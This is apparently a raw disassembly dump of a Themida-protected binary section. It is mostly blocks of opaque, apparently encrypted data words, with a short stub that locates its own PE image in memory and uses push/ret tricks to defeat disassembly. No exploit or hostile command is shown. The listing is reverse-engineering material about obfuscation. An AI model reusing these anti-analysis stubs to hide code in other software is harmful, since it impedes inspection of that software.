		dd 0C701F7DCh, 5227477Eh, 2C95A3F0h, 0A1B7A538h, 0FEE5858Dh
		dd 6A07D4h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 5BDC2C3h,	0DE907BFh, 1F000000h, 0B8ECDBEEh
		dd 783D39D7h, 9FEA7147h, 1EAD9D8Bh, 868907D1h, 0B8h, 0C08BB57h
		dd 8B5B49EFh, 0D126999Dh, 6A006A07h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 9CB5C355h
		dd 0FF1D01EDh, 0D4EA5AB5h, 56006A07h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 0C65C1114h
		dd 0F98B66DAh, 1DE995FFh, 6A07D1h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 663C93C3h, 50E1F7BBh
		dd 89D98B66h, 6A2434h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 0EBE63AC3h, 17CE747Fh, 0EA5AB5FFh
		dd 952907D4h, 7D10C65h,	2D9D95FFh, 8D8907D1h, 7D10ECDh
		dd 15D99D89h, 0BD8307D1h, 7D12809h, 57840F00h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 0D7B3C356h, 5004FA8Ah, 7E8h, 0FC5D6600h
		dd 549F3790h, 895BDA8Bh, 6A2434h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 0C7E66EC3h, 21720D4Dh
		dd 0B5FFF88Ah, 7D4EA5Ah, 1B69B531h, 95FF07D1h, 7D132B5h
		dd 245DBD8Bh, 0B5FF07D1h, 7D4EA5Ah, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 6DC35646h, 616C04B9h, 0EE98Bh
		dd 29880000h, 1741ECB2h, 79849222h, 2546CE75h, 270995FFh
		dd 958907D1h, 7D115E5h,	0FC1BD83h, 0F0207D1h, 7484h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 0E2A1CA07h, 9FA25E2h, 0D12B1DB5h, 89B58907h,	8B07D107h
		dd 0D11E2585h, 56006A07h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 0FD1555FAh, 850FB167h
		dd 2, 0DCB71AB3h, 0F0000C6h, 0C85h, 68B0F00h, 89000000h
		dd 0D133C5BDh, 0CD85C707h, 7D122h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 4417C353h, 9D8BBF55h, 7D11579h, 0FFF346E9h, 55006AFFh
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 8B9CB096h, 0D11C199Dh, 5DBD8B07h, 8B07D117h,	7D9D89C1h
		dd 0BA07D10Ch, 0F0115000h, 0EA81h, 0C283F000h, 45958914h
		dd 8307D133h, 858D14EAh, 7D67857h, 35FF6450h, 0
; ---------------------------------------------------------------------------
		mov	large fs:0, esp
		call	$+5
		pop	eax
		sub	eax, edx
		and	eax, 0FFFFF000h


loc_5DDE28:				; CODE XREF: Themida_:005DDE4Aj
		cmp	word ptr [eax],	5A4Dh
		jnz	loc_5DDE45
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		cmp	dword ptr [edx], 4550h
		jz	loc_5DDE4F


loc_5DDE45:				; CODE XREF: Themida_:005DDE2Dj
		sub	eax, 1000h
		jmp	loc_5DDE28
; ---------------------------------------------------------------------------


loc_5DDE4F:				; CODE XREF: Themida_:005DDE3Fj
		mov	ecx, eax
		mov	[ebp+7D12D71h],	eax
		add	eax, [eax+3Ch]
		movzx	edx, word ptr [eax+6]
		mov	[ebp+7D107C5h],	edx
		mov	edx, [eax+50h]
		mov	[ebp+7D12185h],	edx
		add	eax, 0F8h
		mov	edx, [eax+0Ch]
		add	edx, ecx
		mov	[ebp+7D12D15h],	edx
		add	edx, [eax+8]
		mov	[ebp+7D12985h],	edx
		pop	large dword ptr	fs:0
		add	esp, 4
		jmp	loc_5DDEA8
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp+10h]
		sub	dword ptr [ecx+0B0h], 1000h
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_5DDEA8:				; CODE XREF: Themida_:005DDE90j
		cmp	dword ptr [ebp+7D12AA1h], 0
		jz	loc_5DDED9
		mov	byte ptr [ebp+7D131B5h], 47h
		push	0D49AA7D2h
		push	dword ptr [ebp+7D10831h]
		lea	eax, [ebp+7D4A6EAh]
		call	eax
		push	0
		call	eax
		mov	[ebp+7D11619h],	eax


loc_5DDED9:				; CODE XREF: Themida_:005DDEAFj
		mov	edx, ebx
		lea	ecx, [ebp+7D6799Ch]
		push	0
		push	ebx
		call	sub_5DDEEC
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DDEEC	proc near		; CODE XREF: Themida_:005DDEE4p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_5DDEEC	endp

; ---------------------------------------------------------------------------
		dd 0E1577E57h, 1800Fh, 89F90000h, 0D11B518Dh, 56006A07h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 6C6AB5FAh, 810F898Fh, 6, 1B72EE81h, 85C77F92h, 7D12D55h
		dd 6C90h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 18h,	0EBC35747h, 0D19F1AE1h,	3985C7F8h, 7D11Dh, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 0B976C351h, 6660607Fh, 0B589DF8Bh, 7D107C1h
		dd 0C9950B61h, 6107D121h, 1529B5FFh, 6A07D1h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 0C98B2AC3h
		dd 95FFF880h, 7D11801h,	91BD23F5h, 6A07D100h, 5595FF00h
		dd 8B07D100h, 85F4EBC0h, 94C2516Dh, 393BE390h, 6EAF509Ah
		dd 4AA52A8Bh, 0FC3B8CD7h, 0C2D9E5B6h, 19CA8501h, 9D82611Bh
		dd 2383DB40h, 23EABCC0h, 81C9D496h, 97603255h, 6768D8B2h
		dd 23FFD8B2h, 79AFD496h, 50B30255h, 4ABC891Fh, 0B060DB47h
		dd 2A38EFC7h, 0BB8D4FCh, 23E9D495h, 7C2A2DB6h, 27CD201Fh
		dd 27CD1817h, 23E9D48Bh, 8C2A25D7h, 59E6FE71h, 9F153DC4h
		dd 6C545F40h, 0EAEEA591h, 0F4C42913h, 238FD491h, 7C64D596h
		dd 0EAEEA5BEh, 0F4F40D13h, 23E9D491h, 185CD396h, 0AEEEA58Eh
		dd 0F4CD0D13h, 247CD391h, 8DEEA58Eh, 26012496h,	43E9D496h
		dd 0ACB197CEh, 0A4EDF8D2h, 37EDF8D2h, 63E9D496h, 325F97C6h
		dd 2383C621h, 23BC6969h, 0E362DB47h, 5E06C87Dh,	0F1A15364h
		dd 16205E47h, 741AB8E4h, 89B0DF97h, 14D0ACA6h, 7E9AA0D4h
		dd 50B3FDC9h, 7A5992C1h, 0DE40C59Ah, 13DCAF18h,	906A1941h
		dd 0FB576CD1h, 8DC59A77h, 6C56DCD9h, 8AEFA17Eh,	0BD386A59h
		dd 4AE490F8h, 442EEF7Eh, 6B86A638h, 4F12D0E2h, 0DBFCAE21h
		dd 0E7333585h, 0FF4C1F23h, 5A91AB9h, 0CA48D297h, 6A542178h
		dd 0D1ED6367h, 0C6F56C71h, 0EB806852h, 577847FDh, 0B9BB63CAh
		dd 0E1FD0CF9h, 8848E707h, 9CA1D8Eh, 0B474E9E4h,	0A174732Eh
		dd 0DFF597DAh, 2D322FE4h, 0D8F56C6Bh, 90A3CD0Ah, 58A7E778h
		dd 90D26532h, 0FAE3ED78h, 0B886E676h, 90A0B5E2h, 3BE3ED78h
		dd 60BFBBB3h, 1781765Ch, 9BFBEDD3h, 107E8FDEh, 0CD28F1E4h
		dd 0D9C732Eh, 1154F5DBh, 0E53E6EE0h, 62D4EADDh,	0CBEC7047h
		dd 89F56C71h, 4A630ACh,	23BB9DD8h, 2FAD7309h, 3B56EB3h
		dd 62161358h, 5CC26D40h, 66F23B1Eh, 0D8A0DBB5h,	56926C2Ch
		dd 0BFA0D679h, 0D8A0D81Ah, 44A122C7h, 3E1B10AFh, 28CA0531h
		dd 96E3B800h, 7A5FD0E9h, 7096E733h, 7D82C68Ch, 8A7F9569h
		dd 32AAEEE4h, 599F08CAh, 0D1DB3692h, 9BA9B445h,	0B7E2B70Ch
		dd 78CC5E12h, 0EA74F20Bh, 85E119FDh, 5E066DD0h,	9EBEEDF0h
		dd 9EDB09F3h, 212F6DECh, 0A7DE7FCh, 2AF7A21Ah, 0AF98D67Bh
		dd 1DC1C2E8h, 0D13F2486h, 0BA6D77ACh, 69927617h, 1421AA0h
		dd 598A0775h, 0E86C74BCh, 0A6844D48h, 48F49396h, 607CC03Ch
		dd 75BB8A31h, 6A2C6B25h, 9DD3F5C5h, 5BB3BE0h, 0CFBEC12Ah
		dd 7AA7373Eh, 100DBF65h, 9CD15293h, 0D559BD2Bh,	359F51EBh
		dd 9351CD00h, 0A454AEC2h, 0CB0D8E44h, 82BF30C9h, 599FD5DFh
		dd 70ED1EC2h, 0C93AB173h, 0B88A9E34h, 2713A3h, 9CEFEF93h
		dd 2256C4BCh, 1566398Dh, 0ED2EF09Eh, 44A122D8h,	0FCEA7ED4h
		dd 80FAA3B7h, 705B9B5Ah, 78BC827Bh, 0D0A590Ch, 222B2B17h
		dd 8CE66A84h, 7FA12E27h, 18DB3F5Ah, 1B2E25E7h, 0D8753165h
		dd 77BBD52Ch, 0FC08580Bh, 98DC04B7h, 80542FABh,	0FC6F3F5Ah
		dd 0C897DD59h, 0A3BEEDF0h, 0C3561E72h, 21A95171h, 16793A8Ah
		dd 0D8A0D48Fh, 39C10C2Ch, 0AB5339D5h, 0A27DDF47h, 44B4EFCh
		dd 0F80E52E1h, 20FF5C14h, 0FC6E6086h, 0F9FBE647h, 0C0E922C4h
		dd 3ECE12C6h, 77B71CAEh, 3415A0Dh, 0FCA8009Bh, 51B7072Dh
		dd 5FA329ADh, 0CC085B33h, 966533C8h, 7A5CFF83h,	94D9151Fh
		dd 0AF2AE11Fh, 45737188h, 59180A6Ah, 0AFF7CFB1h, 8FFA0581h
		dd 0D8A07A44h, 37C1DF2Ch, 93ABC77Dh, 0E4C717CFh, 98DCFDB9h
		dd 80542FABh, 46F3F5Ah,	25D0536Fh, 0A2E5E987h, 19A9C3E8h
		dd 7954CE8Ah, 9F66BE62h, 9ADFFDF7h, 8EE76CEFh, 12A8BCEEh
		dd 64345977h, 8FFDE9F3h, 0D8A0BC1Ah, 37C1A92Ch,	0CE5A7EAFh
		dd 6EDB6923h, 1B40C015h, 0C9BEEDF0h, 23D64C0Ch,	0C0FDEE34h
		dd 0E2A529C7h, 0DF03A9A8h, 0F4397A4Dh, 8057568Fh, 32081C5Ah
		dd 79BB9125h, 93CDEAB1h, 51841E32h, 3855A543h, 6D4CE97Fh
		dd 0D3215C34h, 0B09BDBB3h, 6F098C70h, 8FFAD7DEh, 0D8A0D4EFh
		dd 34C1AC2Ch, 1B2938D2h, 17044835h, 0EC4997FCh,	6ED9A09Dh
		dd 85B033F3h, 5AAE32D0h, 29644632h, 7169AC65h, 5279B98Dh
		dd 69970775h, 0FE8A35Ch, 86343C0h, 6093B793h, 3B1629DDh
		dd 3E7D6687h, 0D6460CC1h, 91C75E45h, 7F52E71Ah,	440C278h
		dd 0FF8E0E94h, 0D28EFCA2h, 0A0BD35F5h, 0A3EEBCCBh, 1873E1FAh
		dd 0AC3BD27Dh, 94891C89h, 0A35FAFC5h, 0C571F612h, 16717A28h
		dd 0F4609549h, 0F19B46E7h, 0B468EADCh, 0CF94E459h, 0A5891FF7h
		dd 0B0283870h, 99DC196Eh, 0D4FCFCh, 895552F8h, 70BA20F4h
		dd 1EAB248h, 0B6E2FCA2h, 0D650C559h, 93CDA945h,	0B0E64FFFh
		dd 3F72DEE5h, 0FEA94576h, 7CE64CFEh, 0E4C065EFh, 0F1D08759h
		dd 0D7B1CEEDh, 7E9DD52Ch, 0E20DC771h, 0DD1B07ACh, 0CFFB6DEEh
		dd 0F8250145h, 0D3EE48FBh, 6FE94D34h, 6F3CE0D9h, 702C7320h
		dd 484D2FADh, 5EEA25Ch,	6F891CA5h, 6FA22EAAh, 0DC08A023h
		dd 6B96670Dh, 0A5F7C787h, 0DF608322h, 0D8A0D548h, 0C2B45573h
		dd 3B8982Ah, 732F8774h,	41956ECh, 0D2588774h, 0B3BCAA57h
		dd 3B1E1A5h, 6C5F0774h,	0D8450AD7h, 92C7D52Ch, 8FB33B02h
		dd 0DD1B07ACh, 0CF03E9EEh, 0F84DCC45h, 6FE9FB69h, 7CF175BFh
		dd 1E439967h, 0FAAC6691h, 31ADEF57h, 0A5FB68CDh, 7604CD49h
		dd 0DA5AA1F6h, 7E5BE391h, 50FCCB71h, 835F4486h,	0B9745C1Ch
		dd 0CD96EA4Bh, 0A7891FD1h, 79BC3762h, 3E3C4B63h, 0E7D41780h
		dd 0E4CF982Ah, 67EDFCA2h, 0E4A5AD41h, 802BFCA2h, 0F0AC263h
		dd 8F1B864Ah, 0AF85572Ah, 2256C213h, 0A7BB525Dh, 4F4A284Dh
		dd 651011A8h, 0AE7B6A0Ah, 854E6E36h, 2E011B78h,	0BCD4B60h
		dd 7B9ABEECh, 1873339Bh, 3820E075h, 34D93A06h, 7E8E9569h
		dd 6609CB71h, 0CA351338h, 0B36C06A4h, 473B11A5h, 0F9A92B8Ah
		dd 6B89237Ch, 0A45434AEh, 0D20D8E44h, 0BF80002Ah, 6477714Fh
		dd 0D32E5F35h, 5CBA1E8Fh, 65EB9230h, 2904A6D5h,	0BEFAEF32h
		dd 3B270CBEh, 0FCC260FCh, 32B7DA10h, 245CED57h,	0F62303F1h
		dd 629FD7A6h, 0C55AF7CDh, 0FA3EA351h, 0FCC259B5h, 76599510h
		dd 87CCE71h, 9E2A4393h,	0A9622419h, 0B7E2B70Ch,	31B96612h
		dd 0ABB79CFCh, 19C5761Ch, 143E2B8Ah, 586AFC3Bh,	940D9C3h
		dd 422EDBD8h, 0DDF0CD9Fh, 0CEA0D52Ch, 4BC1F96Ah, 0AD5083ABh
		dd 9A6FE551h, 0DF216F4h, 8187BE79h, 5DEB319Dh, 0C43E5501h
		dd 3DC404BEh, 0AF566DA9h, 239BE34Bh, 1321C010h,	0D8A0D520h
		dd 59A430ABh, 574CB948h, 0D8A0D988h, 74DF8C2Ch,	0D88CCF34h
		dd 74D78C2Ch, 0AA965734h, 0C398C02Fh, 5FA0D558h, 0D421B940h
		dd 0D8A0D940h, 9598C32Ch, 5FA0D667h, 9A3BB948h,	74D78E54h
		dd 57058C1Eh, 0D8A0D96Eh, 0D4E5542Ch, 59A0D52Ch, 0E54CB970h
		dd 5F75B948h, 0D4E45481h
		dd 57A0D52Ch, 0D8A0D961h, 74DF5A2Ch, 0CB5E2C18h, 8CF322A2h
		dd 2B28CC44h, 0DDA34BACh, 6D002261h, 0C97A5FE8h, 32612E01h
		dd 6567B68Ch, 7C8F25C4h, 0AA73F51Eh, 3CD80FB3h,	35BC7DDFh
		dd 237870CEh, 5CDCDD67h, 698CF0D0h, 19A9EE12h, 7491FF85h
		dd 878E3A52h, 17A28D50h, 8D9D7189h, 20808BB7h, 26DD6862h
		dd 32B65883h, 387E45D5h, 0A9DDE6BBh, 787A3D6h, 3DDE15B7h
		dd 0E1AC8F97h, 9FC1A5A9h, 3DCEFE17h, 0B94AF35Fh, 0C0D35801h
		dd 0D8A0D554h, 97AEFCCDh, 0C7AC8D69h, 0A63709E5h, 5715C354h
		dd 0D84AE46Eh, 0DA3D122Ch, 0E1A0D52Ch, 0D8A0D5ADh, 169E5F2Ch
		dd 0CE210B1Ch, 6A73705Bh, 0D8A0D8B4h, 1D5BE72Ch, 0F82D4DEh
		dd 0E54B71F9h, 0FB795E66h, 1921EC0Ch, 23A59FBEh, 0C8F3540Eh
		dd 0C6E25430h, 0E18C3CFDh, 0C9213EFFh, 0D781CCA6h, 92386CFFh
		dd 5DE66A57h, 0DA18D7B6h, 0F5A0D52Ch, 7491847Dh, 0D32412FAh
		dd 3AA0D52Ch, 0A87E15ADh, 387AD305h, 0D8A011B5h, 626A412Ch
		dd 79CA314Dh, 0E38A8848h, 0DD21122Ch, 58A0D52Ch, 2681DA6Ah
		dd 0D1085857h, 0E21922A7h, 5AA0D52Ch, 58847551h, 357F2295h
		dd 60D6798Ah, 0C132869Ch, 12C1CD5Dh, 0F606865Eh, 3EE5FC06h
		dd 19D3FA22h, 0A7D34E5Ah, 57179BD0h, 238F69D7h,	5E8D003Fh
		dd 1E0323D7h, 33EB8AB2h, 330382DBh, 5E8DD6DBh, 1E1B3ED7h
		dd 0DCE11B5Eh, 0F4804FE2h, 0C9B6FCF0h, 4F0BBC11h, 5EC1D2F2h
		dd 7C8D03D7h, 5D9451D7h, 3E8D03D7h, 0E002C0B5h,	0D7C01F80h
		dd 0EAC01F90h, 948D03D7h, 0DF68C08Dh, 0A7DF164Bh, 0B3FBB4D0h
		dd 7CC1D2FFh, 5D9450D7h, 3E8D03D7h, 0E005C0B4h,	0D7C01F88h
		dd 0F5C01F90h, 9D8D03D7h, 5E16C08Ch, 2EEE926Eh,	63393C1Dh
		dd 599CDBD7h, 422E566Ch, 5713FC06h, 571A8EA8h, 1E32FC06h
		dd 0F2EBEF24h, 841334CBh, 75324943h, 8B6BE87Ch,	0C91672D8h
		dd 0DA8E78ADh, 10ED48CEh, 60061ECDh, 0C2687501h, 0C8237F6Dh
		dd 6E3F59DEh, 0A42F56F8h, 0F487BF12h, 192CEA12h, 79AEEAF1h
		dd 0F3A79B2Dh, 0D94B82C7h, 29586940h, 0F3A7E239h, 9A356785h
		dd 4459E546h, 190A6791h, 31ADE559h, 0F3A7C089h,	15ABDD12h
		dd 812CEA12h, 4AAB0B9Dh, 79D37A1Bh, 0F3B16847h,	59700DC2h
		dd 0E5E1FB3Dh, 0F42CEACBh, 79D3E7F0h, 0F3B16877h, 47AA5FC2h
		dd 0C4E1F468h, 0A8033713h, 3455E559h, 0F48E6603h, 79D3EA12h
		dd 0F3B16877h, 0F49B02C2h, 0C46CEA12h, 7E3E6785h, 813CE54Ch
		dd 4AAB099Dh, 89597A1Bh, 0F3A7EA2Dh, 81282697h,	4AAB099Dh
		dd 79D37A1Bh, 0F3B16847h, 59700DC2h, 0E5E1FB3Dh, 0F42CEAC8h
		dd 0CD0B61CDh, 7F3E78CBh, 349DE295h, 0F42CE971h, 7421AA12h
		dd 7929EAD3h, 0EB460DEDh, 71D52327h, 0F473031Bh, 4E9DEA12h
		dd 0E6ACB590h, 0C25F6122h, 0C8ED61C2h, 0F42CE02Fh, 0F42A0312h
		dd 5751EA12h, 0F45969C4h, 0EB536503h, 0F7220D13h, 0BC21B25Ah
		dd 79292A1Fh, 0EB460D44h, 0D6262B9Fh, 371FB3F3h, 31D3EA16h
		dd 0F3B16859h, 80E15F85h, 0AA04E54Ch, 1F64C427h, 0FE3F2B43h
		dd 3CBCE539h, 0C5E02597h, 0EB5D6703h, 29A80D13h, 0F3B1661Ch
		dd 804A5F85h, 3B75E54Ch, 7FE00397h, 0F4FB025Ah,	3A6EA12h
		dd 17FE1941h, 0F4C7AFE5h, 2FF14AC5h, 7F2B2B5Fh,	0F45503CBh
		dd 8A88EA12h, 317C70D6h, 0D525B17Eh, 0FCE74F91h, 3DD7E559h
		dd 0F42CAD2Eh, 0A8126791h, 37B4E559h, 0DA2CEA0Bh, 0CCDDEF54h
		dd 19531791h, 0AD59E559h, 16DA5FE9h, 8526E559h,	4D4D9BB5h
		dd 0F3096B1Bh, 0E574F440h, 0F42CEA10h, 0FF301281h, 0A1E685B5h
		dd 62D71D9Eh, 0A53648DEh, 0EAD7339Fh, 0AB60F19Ch, 1F279F20h
		dd 315F746Eh, 0F3A7C0B9h, 5BD7EB83h, 786E15C6h,	0E5E1039Ch
		dd 0F42CEA06h, 58935449h, 58BE585Dh, 0DD2B047Ah, 0C01018D6h
		dd 0AF9E946Fh, 0FB2C0297h, 0EB59379Dh, 3FD68413h, 0DB8E59D0h
		dd 83AF38CFh, 0D883331Ch, 75E0C097h, 694C7749h,	0D2935B76h
		dd 109D52A9h, 0AECE3B08h, 0DBB0ABD9h, 83AF38D8h, 412EBC38h
		dd 6EA19137h, 54C3C3D1h, 893B6982h, 8AF38D1h, 8FD719D5h
		dd 89AADCC2h, 7A1738D1h, 0EAAF38D1h, 0A4B18787h, 0EDED34F4h
		dd 442A26A2h, 1A343C10h, 0CED6E591h, 38B0ABFBh,	0A15AF65Eh
		dd 84AE6100h, 83AE855Dh, 46AF42D1h, 83AE5D39h, 0C94958D1h
		dd 3883E3B3h, 38FBBBDDh, 83AE55DDh, 0C98E1FD1h,	0F6083EEAh
		dd 4924F53h, 83B14E27h,	0F5C9E5D1h, 8341C380h, 0F06038D1h
		dd 0F022D2ECh, 27BC4DF2h, 317D00FBh, 98EF87F9h,	33AF4541h
		dd 83AE5D39h, 0C98658D1h, 38FBE388h, 38FBBBDDh,	83AE8CDDh
		dd 0C97FF8D1h, 47A568E1h, 8C99B6FDh, 83A4C08Bh,	3D4F38D1h
		dd 5F8A161Eh, 4F255CFDh, 83095CFDh, 46FD38D1h, 15A8B61Eh
		dd 0D0204025h, 30A462F0h, 0BA33BEECh, 953A69D1h, 2AF38D1h
		dd 0BA51C2EBh, 8C9950D1h, 83A4C080h, 324F38D1h,	478A531Eh
		dd 4F255CFDh, 83435CFDh, 33E238D1h, 3D6E2E1Eh, 83A5C3A8h
		dd 0FFF38D1h, 32B1599Bh, 9AA31A5Ah, 0A8E56588h,	8437B45h
		dd 0B35E6E4Bh, 0E337E5D1h, 830AC0D5h, 635D38D1h, 7DBAA433h
		dd 23D9893h, 0BA3F9E5Bh, 0F68250D1h, 8D132346h,	83AF3B5Bh
		dd 92223ED1h, 0FB8B96Bh, 83AF3BF3h, 647F38A7h, 83AF38C2h
		dd 2B6450F1h, 8F5B1F58h, 8F5B1F50h, 83AF38C8h, 13642891h
		dd 27F1741Fh, 83A5C304h, 51BF38D1h, 4BC5FFDEh, 700E84D4h
		dd 1AB21BAFh, 27222E47h, 0CA276100h, 6A3963C7h,	3B0ABC0h
		dd 16B8C397h, 83AF3B6Dh, 644D38A7h, 83AF38C2h, 3D6416F1h
		dd 8F5A6F58h, 8F5B1F50h, 83AF38CDh, 99644E9Bh, 61A2FA46h
		dd 89174ED1h, 23AF38D1h, 0FB759DB3h, 0ABA7C2Ch,	72BA7C9Ch
		dd 55AF38DEh, 16F19D8Bh, 1E55AC98h, 0DFD96E9h, 833B69D9h
		dd 90AF38D1h, 45AF4219h, 83AE5D39h, 0C97458D1h,	386BE3B2h
		dd 38FBBBDDh, 83AE90DDh, 0C94D1ED1h, 3F1F507Ah,	86CEE50Eh
		dd 10B0ABFFh, 8C985F1Fh, 83A4C080h, 324F38D1h, 478A531Eh
		dd 4F255CFDh, 83325CFDh, 33E238D1h, 7082C11Eh, 6E5C35F3h
		dd 0AB83D0Bh, 83AF38DBh, 2BFC6A13h, 0FCFABBDFh,	848C1D8Dh
		dd 83AF355Ch, 39AF42D1h, 83AE5D39h, 0C94858D1h,	384BE3B6h
		dd 38FBBBDDh, 83AE8CDDh, 0C981FAD1h, 0BDD53EA7h, 8126E723h
		dd 0DBB0AB84h, 83AF38D0h, 1BA64DC8h, 2971BBB8h,	326927F7h
		dd 83AE5DE9h, 75223ED1h, 63E8B379h, 647F38A7h, 83AF38C2h
		dd 2B6450F1h, 8F5B1F58h, 8F5B1F50h, 83AF38F5h, 86642891h
		dd 41940485h, 0C88CF4CAh, 83AE6627h, 0BF8831D1h, 860BAA6Bh
		dd 1FD2A6BBh, 0E3EFD690h, 648038A7h, 83AF38C2h,	346419F1h
		dd 8F5B3758h, 8F5B1F50h, 83AF38F5h, 5464519Ah, 88722F06h
		dd 2A24D13Fh, 6BB7D658h, 1E396101h, 96CDDC30h, 0FB0BE644h
		dd 5F66610Ah, 0A0A30D5Eh, 0BA59F65Ch, 0CA7B85D1h, 95523A27h
		dd 0CC24A001h, 662E23DCh, 100F2E58h, 0E39610Ah,	96CDE06Fh
		dd 0E224A9E6h, 8DBEDD0h, 40AF4210h, 83AE5D39h, 0C99F58D1h
		dd 3873E3BDh, 38FBBBDDh, 83AE8FDDh, 0C9741DD1h,	19D9CE8h
		dd 0E364E5D2h, 83AE8C39h, 4F3423D1h, 9784F990h,	0D61FFCA7h
		dd 943F5FAFh, 0AC90AEC7h, 0B6D6E3BFh, 31B0ABCCh, 83BDE0C2h
		dd 0A68A38D1h, 95F2AC53h, 8C997B46h, 83A4C08Fh,	314F38D1h
		dd 3F8A521Eh, 4F255CFDh, 835D5CFDh, 3AF138D1h, 4C33DB1Eh
		dd 0E26F1DD1h, 83AF38F4h, 6081B458h, 42BD8BE5h,	0AC60BB7Ch
		dd 95D8A955h, 96D6DDE4h
		dd 83B0AB6Dh, 1E27632Ch, 96F58087h, 335D6CD1h, 0B6FE58Eh
		dd 83AE5CC5h, 790EDE58h, 0FE396100h, 96F49AE0h,	349CCDD2h
		dd 244AF65Eh, 5FAE6100h, 147428CAh, 83AE5CC5h, 790EDE58h
		dd 0FE396100h, 96F49949h, 349CCDD2h, 7E26E58Eh,	31B0ABFBh
		dd 0F0F366E8h, 15B851DBh, 83AF38DAh, 28B2DFD0h,	19F6100h
		dd 45AF4210h, 83AE5D39h, 0C97458D1h, 386BE3B2h,	38FBBBDDh
		dd 83AE54DDh, 0C94D1ED1h, 5018C9EDh, 9E7C9324h,	0F501B8E2h
		dd 109AD5EBh, 40AF4208h, 83AE5D39h, 0C99F58D1h,	3873E3BDh
		dd 38FBBBDDh, 83AE54DDh, 0C9741DD1h, 74BD362h, 1FD99F1Ch
		dd 0C4636925h, 0FBB6078h, 83AE5DABh, 83AE8D39h,	42A02CD1h
		dd 8C254456h, 0C7F03063h, 136FBC12h, 19D1295Ah,	95276989h
		dd 82AF38D1h, 0BA402A14h, 72D6DDD1h, 83B0AB6Ch,	8C29DCC2h
		dd 17238D1h, 0BAB3924Bh, 0A6EA19D1h, 61AF38C5h,	891751D1h
		dd 23AF38D1h, 0FB489DB2h, 0ABA7C54h, 72BA7C9Ch,	4CAF38DEh
		dd 0AA5B9D8Ah, 0BC7EC5ACh, 83BDE3D9h, 0F72A38D1h, 96F58A8Bh
		dd 83503B13h, 45AF42DFh, 83AE5D39h, 0C97458D1h,	386BE3B2h
		dd 38FBBBDDh, 83AE8CDDh, 0C94D1ED1h, 7FFE527h, 0BFAB925Bh
		dd 16D6E3D1h, 0E3B0ABE6h, 18E63ECh, 0BA0C6643h,	0BAD6E5D1h
		dd 0EAB0ABCBh, 62FFB9B0h, 891728D1h, 23AF38D1h,	0FB879D89h
		dd 0ABA7C9Ch, 7FBA7C9Ch, 43AF38D1h, 16BB9D81h, 763A6910h
		dd 61AF38D1h, 891728D1h, 23AF38D1h, 0FB879D89h,	0ABA7C9Ch
		dd 85BA7C9Ch, 43AF38D1h, 0CBAD9D81h, 0D11ABB98h, 32DAF8Fh
		dd 39D5168h, 2C3169DDh,	2AF38D1h, 0BA441213h, 4B223ED1h
		dd 84B13ADDh, 83A7675Dh, 0E2B62ED1h, 83AF38C3h,	8326D03Bh
		dd 0FFA0698h, 1CF9689Dh, 39C54A3h, 8D84D468h, 83AFDC5Ch
		dd 45AF42D1h, 83AE5D39h, 0C97458D1h, 386BE3B2h,	38FBBBDDh
		dd 83AE91DDh, 0C94D1ED1h, 9FB3BE2Bh, 0DBB07351h, 8C49DFC6h
		dd 7CEA38D1h, 77AF38D1h, 3E633DE1h, 0F53332B7h,	83BC7350h
		dd 4A316966h, 61AF38D1h, 89172AD1h, 23AF38D1h, 0FB499DB7h
		dd 0ABA7C8Ch, 7CBA7C9Ch, 49AF38D1h, 6DBB9D8Fh, 39C6DAFh
		dd 0E2B07F05h, 83AE5D44h, 83AE8D38h, 0D72B17D1h, 0A4FCF6E1h
		dd 8FF7572Ah, 2FD9658h,	0BE9AC545h, 8AA23812h, 3AAF429Bh
		dd 83AE5D39h, 0C99D58D1h, 38E3E3B7h, 38FBBBDDh,	83AE93DDh
		dd 0C972FBD1h, 0AEDE670Dh, 0A2AF122Bh, 0B32BD64Ch, 723EE7D1h
		dd 84B0CC13h, 83AE6946h, 830AC3D1h, 0AF5C38D1h,	2E46D72Ch
		dd 8365CBCh, 0BA518E43h, 0FBFFB9D1h, 0BA0B86EBh, 846FDFD1h
		dd 83A29B5Dh, 39AF42D1h, 83AE5D39h, 0C94858D1h,	384BE3B6h
		dd 38FBBBDDh, 83AE92DDh, 0C981FAD1h, 422DF1BDh,	0DB4851D5h
		dd 83AF38CAh, 0FE925C98h, 0D2EC1C77h, 356E41Dh,	8A563E68h
		dd 7C3169DFh, 3CAF38D1h, 349AA46h, 979C5E28h, 0FBB72B2h
		dd 83AF3A13h, 83AFDCC2h, 39D38D1h, 8D84D468h, 83AF3E5Ch
		dd 83B0C3D1h, 0D6F838D1h, 87626FDh, 8A27BB48h, 44316939h
		dd 8AF38D1h, 0BAAFCE4Bh, 4B223ED1h, 846F38DBh, 83AF765Ch
		dd 46AF42D1h, 83AE5D39h, 0C94958D1h, 3883E3B3h,	38FBBBDDh
